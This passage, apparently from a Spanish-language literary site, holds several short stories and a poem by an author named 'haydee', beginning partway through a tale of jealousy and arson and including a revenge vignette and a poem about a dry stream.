la niña, la adoptaron legalmente. Lidia se esmeró en la crianza, Guillermo se convirtió en padre de un día para otro y fue de los mejores  a pesar de su carácter estructurado. La llamaron Eva.  Al término de sus estudios secundarios debió postergar sus anhelos para convertirse en enfermera de su progenitora que viuda, inválida y de mal carácter requiere de  todas sus energías para su atención y el cuidado  de la casona .que habitan.  Francis, sonríe y evoca la imprevista  circunstancia en que la conoció: Su primo, Gerardo Mayorga, volvió al pueblo apenas recibido. Desplegó su flamante diploma de médico en las renovadas instalaciones que su padre, el tío  Alberto, le dejó vacantes. Con  juvenil entusiasmo, se hizo cargo de la salud de los  vecinos.  Se casó con la espigada novia de la adolescencia y  antes del año, se convirtió en padre de mellizos. En tren de visita a una  paciente, se encontraron y  Gerardo, le pidió que lo acompañara.  El viaje duró alrededor de media hora en su traqueteado  jeep. En el trayecto, aprovechó para desahogarse, su vida familiar, era un caos. Tenía necesidad de contárselo a alguien. Marisa, su mujer, no pudo recuperar su elegante figura después que nacieron los gemelos, eso agregado a su naturaleza  desconfiada, la habían llevado a convertirse en una  celosa arpía. Se cansó de su odiosa  costumbre de revisarle los bolsillos, de entrar  al consultorio sin llamar, intempestivamente cuando se le ocurría. Llegó a seguirlo cuando hacía visitas domiciliarias para pescarlo infraganti, cosa, que por supuesto, jamás ocurrió. Por sus constantes escenas, no le quedó alternativa, se vio obligado a despedir, muy a su pesar,  a la última  secretaria, escultural y muy bonita, por añadidura. Esto último, fue la gota que  colmó su paciencia, al recordarlo, la sangre, se le subió a la cabeza y apretó el acelerador con rabia.  Francis, no pudo disimular una  sonrisa, conocedor de la fama de mujeriego de su pariente. Este alcanzó a percibirla  cuando llegaron a destino, muy oportunamente, para evitar una incómoda explicación. El relato, se interrumpió. Llegaron a una casa señorial, rodeada de un amplio parque con palmeras datileras, jazmines y rosales, dividido por un sendero de ligustrinas que conducía a la entrada principal. En el amplio porche, los  sillones de ratán  eran una invitación al descanso.  Francis, sacudió la campana  y al momento salió a recibirlos una muchacha delgada, de pelo y ojos oscuros. Saludó  y  con un gracioso ademán,  los invitó a pasar al interior. Gerardo, precedido por la joven,  fue a cumplir con su deber, Francis, se entretuvo en  observar  armas antiguas,  monedas y medallas, todo prolijamente dispuesto en vitrinas, y ordenado con  rigor  de coleccionista.    En una  cristalera, delicadas figuras de marfil, de distintas procedencias,  en otra, porcelanas, frágiles, antiguas. En fin, el mobiliario, los adornos, los cuadros acapararon su atención. Era como estar en un reducido museo. Una  voz  lo sacó de sus cavilaciones. -¿Toma un refresco? - ofreció  la  joven,  portadora de una bandeja con vasos de limonada. –Le agradezco.-  dijo  Francis, sediento en ese día muy caluroso, luego de beber, la felicitó por los objetos atesorados.   -Pertenecen a mi madre. -  respondió sin entusiasmo.  Observó, con curiosidad de artista  las manos delicadas, perfectas y le expresó su deseo de dibujarlas, levantó la cabeza sorprendida, entonces, descubrió el color de sus ojos, de un azul profundo. Un ligero rubor, tiñó sus mejillas,  para esconder  su  turbación fue a correr las cortinas, la habitación quedó en penumbras,  Francis pudo apreciar su talle delgado y esbelto y la armonía  natural de sus movimientos. –De cuerpo entero, corrigió.  -Voy a pensarlo-dijo ella sin pestañear. De regreso, Gerardo comentó la visita. Una paciente tan difícil, mencionó el sacrificio de  Eva, víctima de una madre desconsiderada. Después tocó otros temas  sin reparar en su primo  abstraído, en secretos pensamientos. Volvió a verla al cabo de un mes, en el pueblo. Cargaba un bidón de nafta  que, más tarde comentó, usaría para remover la cera de los pisos. Francis, se acercó a saludar y diligente, ofreció su ayuda,  aseguró el cierre de la tapa y lo depositó  en el baúl del auto, después de recomendarle tomar precauciones para evitar accidentes. – Los vapores son altamente combustibles. Asegúrese, cuando decida hacer el trabajo, de tener  las ventanas abiertas y cerrados  los calefactores o cualquier artefacto que pueda producir combustión. ¡Sería muy lamentable,  que por un descuido, estropeara su belleza.!  Sus palabras, sorprendieron y halagaron a la muchacha, no era frecuente, ser objeto, de tantas y tan delicadas atenciones. Sonrió y en voz  baja dijo: -Estoy dispuesta  a ser su modelo–  Al momento, Francis, no  entendió  a lo que se refería,  ella agregó: -Mañana, después del almuerzo, estaré libre, no  es necesario que llame, lo espero. Se presentó con su caja de trabajo a las dos de la tarde.  Cumplió lo prometido, salió a  su encuentro, rodearon la casa y entraron por los aposentos de atrás. Subieron  por una amplia escalera de roble, hasta  el salón donde iba a realizar el trabajo. Era una habitación bien iluminada, con piso de madera  y cuadros en las paredes. En el centro, una  otomana, una silla tapizada de pana  marrón y una mesa pequeña eran todo el mobiliario. Desplegó los útiles sobre la mesa, ella, con naturalidad,  abrió la túnica  y quedó como vino al mundo. Con  la misma naturalidad se recostó en el diván  No podía concentrarse, se puso muy nervioso, ella  ignoró su turbación y comentó:  - Estará acostumbrado a ver mujeres desnudas. Carraspeó un – Por supuesto- secándose el sudor de las manos  y maldiciendo por dejar trasparentar sus emociones. Hizo algunos bocetos que no lo conformaron. El artista, no pudo despojarse de su condición  de hombre, tampoco ella  ayudó, levantó los brazos, sus pequeños pechos, redondos y firmes, descubrieron los pezones en actitud  desafíante. Convinieron sesiones de dos horas, nunca antes destruyó tantos bocetos, ninguno le pareció aceptable. Sobre la hora, comenzó a guardar todo, se sentía torpe, inepto. Ella, se vistió con la misma naturalidad con la que se desnudó y en silencio lo acompañó hasta la puerta. Sus palabras de despedida fueron – Mañana a la misma hora- Al día siguiente reunió  fuerzas y  volvió, procuró vencer  esa molesta inseguridad,  sólo que  esta vez, fue distinto.  Eva, tenía puesto un sencillo vestido, color lavanda. Tranquila, silenciosa, fue a sentarse junto a la ventana. La luz, a sus espaldas,  creaba sobre  la negra cabellera, un luminoso efecto de nimbo. Los ojos,  entornados, bajo los delicados párpados, sombreados por oscuras y sedosas pestañas, las manos cruzadas sobre el regazo. Era la modelo ideal.  Francis, logró captar ese instante, con maestría, hizo gala de su talento y profesionalidad. Quedó muy satisfecha con  el  dibujo  y  pidió que  le eligiese un marco apropiado. Volvió a la semana, esperó largo rato oculto detrás de una añosa palmera.  Cansado y abatido se disponía regresar sin haberla visto, cuando llegó con su madre en un auto de alquiler. El conductor  ayudó a  sentar a la señora  en la silla de ruedas  y luego se marchó. Antes de abrir la puerta, Eva, advirtió su presencia. Con un gesto,  indicó que la esperara. Oscurecía  cuando apareció por los fondos, le tomó de la mano conduciéndolo por las escaleras, esta vez, fueron a su  dormitorio, allí se sintió segura y  pidió disculpas por la demora. Vio el trabajo ya concluido  y  manifestó su  aprobación llenándole de besos. Se  sintió algo confundido pero muy satisfecho,  después se dejó llevar por su  entusiasmo.  En esa muchachita, de apariencia frágil, se ocultaba un volcán. Se vistió  para retirarse, ella suplicó: - Me gustaría mucho que te quedaras, necesito hablarte. En el momento que te vi por primera vez supe que estábamos destinados...  - No quiero que  tengas problemas con tu madre- respondió Francis. - Ella no se va a enterar, sufrió mucho tiempo de insomnio, pero hoy, vencí finalmente su  resistencia, aceptó  que  tu primo le recete unas pastillas que la sumergen en un sueño profundo. Al dormir lo suficiente, va a recuperar la tranquilidad y  yo la mía. Es hora de que empiece a pensar en mí. Pareció lógico su razonamiento y  muy oportuna la actitud de Gerardo. Esa noche maravillosa, fueron ellos, los insomnes. De madrugada, Eva,  fue a ver a la madre que  seguía  profundamente dormida. Francis se marchó después de compartir un desayuno reparador,  antes, prometió que volvería esa misma noche,  entonces ella advirtió – Entrarás solamente, cuando haya luz en la ventana de mi habitación. Eso significa que mi madre duerme, y yo estaré  esperándote  para dedicarte todo mi amor y mi tiempo. La puerta trasera estará abierta para ti. Añadió: -Mamá, es muy  estricta y exigente, no permite que tenga amigas ni  que persona alguna  entre a su casa si no es por una necesidad imperiosa, como cuando necesita al médico. Gracias a las pastillas, tendré mayor libertad  para mí... para nosotros corrigió llenándolo de besos. La vida del muchacho se transformó desde aquél día, desapareció ese pesimismo habitual y comenzó a encarar el futuro con  esperanza y  determinación. Con entusiasmo, creó, hizo caricaturas de  personajes  descollantes  históricos y actuales y agregó comentarios surgidos de su desbordante imaginación. Mandó todo por correo electrónico a diarios y revistas de la capital.   El amor que produce esos cambios es mágico.  Nunca, antes sintió  tanto valor, tanta confianza en sí mismo.  Consiguió lo que se proponía al cabo de unos meses, el contrato de una importante editorial. Sus ingresos, no le permitirían, al menos en los primeros meses, viajar seguido, para verla. Eva, derramó muchas lágrimas, al conocer su decisión de alejarse, pero luego comprendió que era la única posibilidad de llegar a estar juntos en un futuro no muy lejano.  Fue muy duro pasar estos cinco meses sin sus caricias, sin el calor de su joven cuerpo, ya se había acostumbrado a  visitarla varias veces en la semana. Sólo una vez, la ventana permaneció a oscuras y tuvo que regresar desolado.  La señora, se había negado a tomar  la dichosa pastilla. Hoy, después de cinco meses de ausencia, adelantó el trabajo para tomar unas breves vacaciones.  Va a recuperar el tiempo perdido. Cuenta los minutos que los separan. Llegará al pueblo a las veintitrés hs. dentro de diez mn.  Sin demora, correrá hacia la casa de Eva. Estos largos meses de ausencia, han sido reveladores para él. Ahora sabe que su vida, sólo tiene sentido a su lado. De sus anteriores relaciones afectivas, guarda sólo un fugaz, diluido recuerdo. Nada que le conmueva ni  le perturbe. El sacrificio de esos cinco meses, de soledad, confirmó la decisión de unir su vida a la de Eva. No admite otra posibilidad. La sorprenderá con su propuesta. Le lleva un anillo. No fue fácil encontrar lo que tenía en mente,  debió recorrer muchos lugares, pretendía  algo único, digno de la destinataria. Fino, delicado, diferente. Cansado de ver escaparates  sin hallar lo que  quería, finalmente, una tarde de domingo, en Belgrano, descubrió una feria artesanal. Le habían recomendado  ver a Claudia, talentosa  y hábil orfebre.  Precisamente, estaba armando su puesto. Debió esperar a que terminara de ubicar sus creaciones. Su ojo clínico para apreciar la belleza, reconoció que había llegado al lugar indicado. Entre una variedad  de diseños, descubrió lo que imaginó. En oro blanco, con una gema artísticamente engarzada, la piedra, del mismo color de los ojos de Eva, azul oscuro, profundo, insondable. No dudó, ni por un momento. Le hizo grabar una dedicatoria en el reverso: Francis Mayorga a Eva Hervé “Para Siempre”   ni más ni menos, lo que se había propuesto.   El micro, llega a destino. Apura el paso que acorta la distancia que los separa, tiene alas en los pies. Imagina su sorpresa al verle, ni se le ocurrirá pensar que está tan cerca. Se emociona anticipando el momento de colocar el anillo en su  dedo anular. Quiere acallar los aturdidores latidos del corazón. Que nada sospeche. Entrará a su cuarto por la puerta de atrás, como siempre, y la cubrirá de besos. Si está dormida, creerá que es parte de un sueño, pero al sentir su  pasión, la urgencia del sexo, se brindará dócilmente  al placer del amor, como tantas veces. En esta larga ausencia, su imaginación febril, recreó los intensos momentos vividos, el deseo, corre por sus venas como un potro desbocado. Está frente a la casa, el familiar canto de los grillos lo recibe, atraviesa la cerca para evitar el  chirrido del portón, camina despacio. Luna nueva, está muy oscuro y se orienta por la posición de los árboles. Levanta la cabeza para ubicar el cuarto, testigo de  sus felices horas. Hay una luz en la ventana. Se enteró que estoy aquí, piensa  anhelante. Ebrio, sin haber bebido, frena el impulso de subir al paraíso donde ella espera ansiosa, sedienta, como él. Apoya el cuerpo desfalleciente en el desparejo tronco de una palmera, el cansancio del viaje, la espectativa, el deseo contenido, obran como  una fuerza negativa que procura doblegarle. Alguien se acerca y abre el portón. Se dirige con paso seguro y con evidente conocimiento del lugar. ¿Será un ladrón?  Podría abalanzarse sobre él, tiene de su lado el factor sorpresa. Entonces, la sombra se  desvía hacia la puerta del fondo, allí muy cerca oye la voz  y el apasionado recibimiento del que tantas noches fue destinatario. Ardientes  promesas y  palabras  dichas entre caricias y besos, las mismas que lo convirtieron en el ser más feliz. En su cabeza todo es  confuso, su mente, un  torbellino de pensamientos más oscuros que esa noche cerrada. Avanza como un autómata, siguiéndolos  hacia la escalera tan conocida.   La urgencia del deseo los hace imprudentes. Las puertas quedan abiertas. De la habitación, le llegan  susurros, gemidos. Imagina sus cuerpos palpitantes, sudorosos, enlazados. Vacila aturdido, siente naúseas, lo que antes fue maravilloso, sublime ahora es repugnante, grotesco. No es él, el protagonista masculino.   Contiene el deseo furioso de golpear hasta que le sangren los nudillos. Va por más.  Un recuerdo súbito lo lleva hasta el placard  donde se guardan  los implementos de  limpieza, sabe bien dónde encontrar  lo que necesita.  Levanta el recipiente lleno de nafta, derrama el contenido sobre el piso y la puerta del dormitorio que cierra despacio con dos vueltas de llave y  arroja un fósforo encendido. Una explosión,  y el inmediato resplandor  del fuego, le aseguran  el éxito de su  cometido. Corre, corre, hasta alejarse de ese lugar maldito, de pronto se detiene, el rostro descompuesto, vuelve la mirada,  sus ojos  reflejan  las llamas que danzan consumiéndolo  todo, es una  visión fantástica en  la negra noche.   Se escucha gritar con voz sarcástica, brutal que no reconoce como propia: -¡Es lamentable que por un descuido estropees tu belleza!-  después se quiebra en llanto.   En la ruta, detiene  un ómnibus. Busca en el  bolsillo dinero para abonar el pasaje, sus dedos  rozan el pequeño estuche, un escalofrío recorre su cuerpo. Siente la imperiosa  necesidad de alejarse, poner distancia, dejar todo atrás.  Son escasos los pasajeros. Están dormidos.  Se sienta  y procura  ordenar el caos de su mente. El cansancio, las emociones vencen su resistencia, no tarda en caer en un sueño inquieto, pródigo en  visiones dantescas. El conductor del camión que se acerca de frente, se ha adormecido en ese tramo recto, monótono. El chofer del micro, se adelanta al  que lo precede, cuando ve el camión que se desplaza, hacia su carril.  Para evitar el choque frontal, con una brusca maniobra, sale de la ruta. Dando tumbos se precipita por la abrupta pendiente, hasta quedar  aprisionado entre los  árboles del barranco, que se descuajan bajo su peso. Amanece, el aullido ensordecedor de las sirenas de ambulancias y  coches policiales,  hiende el aire. No hay supervivientes  entre los pasajeros del micro. Eran ocho, con el conductor. En la ruta trabajan los médicos, auxilian a los heridos del ómnibus que venía atrás. Una tragedia.  Llega la policía judicial, constata las  defunciones y ordena la identificación  de las víctimas.           Ana  Duarte, oficial de justicia, observa muy interesada, el anillo que se encontró en el bolsillo de uno de los occisos. Está dentro de una bolsa de plástico junto a  sus otras pertenencias. Con ayuda de una lupa lee la dedicatoria grabada:   Francis Mayorga  a Eva Hervé“Para siempre”. -¡Qué coincidencia! - exclama-  Escuchó las noticias de la mañana, en la radio de su auto, cuando venía a  trabajar. Una joven mujer, con ese nombre, Eva Hervé, junto a su  amante, de apellido Mayorga, médico rural, y la madre,  incinerados  en la residencia, de las afueras del pueblo. Suponen que  el incendio fue provocado. Se detuvo a  una mujer, en los alrededores,  presa de un ataque de nervios. Resultó ser la esposa engañada. Aparentemente, todo cierra, “crimen pasional.”  Ana, observa la joya, empieza a atar cabos  y  saca  sus propias conclusiones. A veces, un detalle, como éste, puede hacer tambalear lo que parecía estar resuelto.  Tiene en sus manos algo que puede cambiar esta historia.  Los ojos intrigados  y  suspicaces de sus compañeros, la siguen, cuando resuelta, desaparece con la bolsa de plástico, tras  la puerta del despacho  de su inmediato superior.
Nunca es
Autor: haydee  899 Lecturas
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  El sol comienza a insinuarse entre el follaje de los árboles, el cielo  límpido y el aire primaveral, son razones, más que suficientes, para  no quedarme en casa. Hoy dispongo  de toda la mañana, aprovecharé el buen tiempo para  caminar y  disfrutarla. Me decido por una zona, no muy alejada  del lugar en que vivo, pero mucho más próspera y elegante. Todo  se ve perfecto, los jardines cuidados, las flores  dispuestas en  macizos, borduras, o macetas, en una variada y  espectacular combinación de formas y colores.  Los cercos prolijamente cortados, algunas glorietas cubiertas de rosas  trepadoras, la naturaleza en todo su esplendor, disciplinada a la voluntad del hombre.  Detrás de los parques, se levantan las residencias, algunas imponentes, modernas o clásicas, revelan  la buena situación de sus propietarios. Me decido por esta. En la vereda, un banco de piedra, bajo la sombra de un añoso jacarandá, me invita a  hacer un alto. La  sólida reja  que la protege, remata en el portón de diseño artesanal, de importante factura y dimensión.  Detrás del  prado, de un verde luminoso, se destaca la fachada, blanca, impecable. La puerta, doble, flanqueada por columnas cuyos capiteles sostienen el balcón  central del piso superior donde tres grandes ventanales mantienen sus  persianas cerradas. La espléndida mañana, realza la belleza y el encanto silencioso del lugar. Noto con cierta extrañeza la ausencia de sonidos familiares, voces, música, risas, lo que me  lleva a pensar en los privilegiados seres, que habitan este  paraíso. ¿Habrá niños que correteen por el césped? ¿Tal vez, adolescentes, que se reúnan con sus amigos para disfrutarlo? y los adultos... ¿Cómo serán sus veladas? Imagino una de esas noches de fiesta... la mansión iluminada, los autos que traen gente  glamorosa, elegante...... la cena y luego bailarines que giran al compás de las melodías en  el  gran salón  de la planta baja. No quiero arruinar este maravilloso momento  con  pensamientos negativos.  Hago lo imposible para  desalentar  una  inconfesable  punzada de envidia  que me  acomete. En mi familia, toda gente de trabajo, no conozco a ninguno que haya logrado una situación  desahogada con el fruto de su esfuerzo. Las últimas generaciones, pasamos por la universidad y conseguimos con sacrificios y privaciones acceder a un título, lo que  fue una satisfacción personal y familiar, pero sólo nos habilitó para ganar el sustento, criar y educar a los hijos y vivir sin mayores pretensiones. Tal vez, no somos buenos para emprender negocios, o no sabemos invertir nuestro capital, en el poco probable caso de tenerlo.  Lo cierto es que ninguno heredó propiedades ni fortunas, que pudieran cambiar radicalmente su situación, como algunos, que atribuyen el origen de sus cuantiosos bienes a un fortuito e improbable legado. Los argentinos, desde siempre, soportamos  postergaciones y  privaciones. La iglesia, que siempre estuvo del lado de los poderosos,  aconseja  aceptarlas con resignación y  para consuelo de necios  nos dice: Es más fácil que un camello pase por el ojo de una aguja que un rico por las puertas del cielo. Debemos esperar a morir para gozar de la verdadera felicidad, que es despojada y es eterna. Mientras ese día llegue, veremos pasar la vida que otros disfrutan sin preocuparse de si van a pasar ó no por las dichosas puertas. Esa y otras cavilaciones ocupan mi pensamiento. No soy ambiciosa pero me haría feliz saber que mis hijos, pueden acceder, sin tener que hacer concesiones, a todas las posibilidades que ofrece la ciencia, la técnica y la información. Esos caminos que sólo están abiertos para algunos privilegiados, aunque deberían estarlo para  todos, de esa forma cada uno podría encontrar el suyo. Por desgracia, no es así. Hay que poseer fortuna ó ser afortunado de tener un elevado coeficiente  intelectual y una  inquebrantable voluntad para no flaquear.   .   Es  tiempo de regresar. Antes de irme, sería demasiada pretensión, de mi parte, ver a alguno  de los felices seres, lo doy por descontado, que habitan este lugar de ensueño. Como respuesta a mi deseo, se abre la  puerta principal. En una silla de ruedas, conducida por una enfermera, se balancea un cuerpo descarnado y macilento. La mirada triste y apagada, como pocas veces vi, recorre indiferente todo  a su alrededor. Los huesos de las manos, trasparentes, sobresalen  aferrados a los brazos de la silla. Físicamente  deteriorado, es difícil atribuirle sexo y edad.  Un  lujoso coche importado, se estaciona  junto al enfermo,  el conductor baja y ayuda, con  suma diligencia, a instalarlo en el asiento  trasero. El rostro marchito y triste, sigue con su  balanceo, cuando el auto pasa  a mi lado,  raudo, silencioso, impecable........   Haydée López  Córdoba- R. A./ 68 líneas    
El Paseo
Autor: haydee  604 Lecturas
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Imagen
La Tía Herminia
Autor: haydee  803 Lecturas
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Hace seis años que vivimos juntos. En estos últimos meses su forma de ser ha cambiado, lo noto callado, ausente, abstraído. Elude cualquier intención de acercamiento y se abroquela en el borde de la cama, de espaldas a mi en evidente propósito de no dar cumplimiento a sus deberes conyugales.Como todas las mañanas, preparo el café. Bebe un sorbo y levanta su portafolios. No estaba cerrado. Una cantidad de papeles se desparrama sobre el piso.    Se agacha a recogerlos y con un gesto rechaza mi ayuda. Se despide y desde la ventana, lo veo sacar el auto. Pegado al zócalo quedó un sobre, intento alcanzárselo. En vano, ya se fue. La inconfundible letra de Camila, amiga de la infancia, me impulsa a leer:"Mi amor: Todo está listo. Recuerda, mañana a las 18,30 hrs. Tengo los pasajes, los pasaportes y toda la plata de mi marido, que también es mia. Nos espera una eterna luna de miel en Marruecos. Tomé recaudos para que no puedan rastrearnos. Camila".No sé cómo conduje ni cómo llegué hasta la oficina de Federico Santillán, poderoso empresario, esposo de la traidora. Su secretaria me hace pasar inmediatamente. Le doy el sobre. Después de leerlo aparenta serenidad, me abraza protector y pide que me tranquilice, él se encargará de todo. Sus empleados observan a hurtadillas cuando me acompaña hasta el auto.A las 17 hrs., con peluca y anteojos oscuros, espero cerca del embarque internacional. Una hora después llegan los adúlteros y se ubican en la sala VIP. Busco a Federico por todas partes. Inultilmente. Sin consuelo veo a la nave perderse en el cielo teñido de rojos. El regreso es lamentable, el tránsito denso y complicado. Maldigo a Federico el cornudo. Mi deseo de venganza no se concretó. Me pasa por delegar responsabilidades.Me sirvo una copa y enciendo la TV. La imágen de la pantalla y el breve relato son suficientemente esclarecedores:"Federico Santillán conocido empresario de la construcción, sufrió ésta tarde un infarto mientras conducía. Perdió el control de su vehículo que se estrelló contra un árbol, a pocos metros del aeropuerto. Su deceso, se produjo inmediatamente.                              Magui
Mejor actuar que delegar
Autor: haydee  1010 Lecturas
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Cauce del arroyo seco, de las piedras carcomidas que el sol blanquea impiadoso en esas siestas bravías. Verte así me causa pena, porque yo te conocía en el tiempo en que mirarte era un canto de alegría. El agua fresca bajaba de cumbres y serranías, perfumada con aroma de menta y de peperina.Tus orillas se poblaban de pequeñas avecillas que bajaban a bañarse en sus aguas cristalinas, batían después las alas sobre la verde gramilla y un coro de puros trinos, con placer te despedía, solo por un breve tiempo, sólo hasta el siguiente dia cuando el calor y el agobio a tus aguas, las volvía.Las chicharras, asociadas con su recia melodíaal bochorno del verano, con las aves competían.Cuando Febo, en el ocaso, tras los cerros, se perdía,era el turno de las ranas. Croar sus monotoníasde interminables conciertos, una eterna letanía.El arroyo, que recuerdo, música propia teníaalegre nos invitaba y triste nos despedía.Las aves, desde los cielos, cinta de plata veríanbajar de los altos cerros por su áspera anatomíay entre saltos y cascadas, discurrir en tropelíahasta el cauce desbordante que alegre la recibía.Entre la hierba esmeralda de las frondosas orillaste ví correr tantas veces y alguna vez, te seguía,hasta que me aventuré por saber donde morías.Abrí camino entre zarzas y arbustos de aguda espina,guardianes de tu misterio, burlados en mi osadía.Fuí acercándome a un paraje de vegetación umbría,albergue de una laguna de aguas profundas y frías.Allí entregabas tus aguas, tributo de cada día.Así es cómo te recuerda y como verte querría, el serrano que partió a enfrentarse con la viday al volver, trás muchos años de infortunios y alegrías,buscó lo que el corazón, sin darle tregua, pedía.Sediento se arrodilló a beber en tus orillasy tan sólo encontró piedras, que el ardiente sol fundía.                 
Lecho de piedras
Autor: haydee  1236 Lecturas
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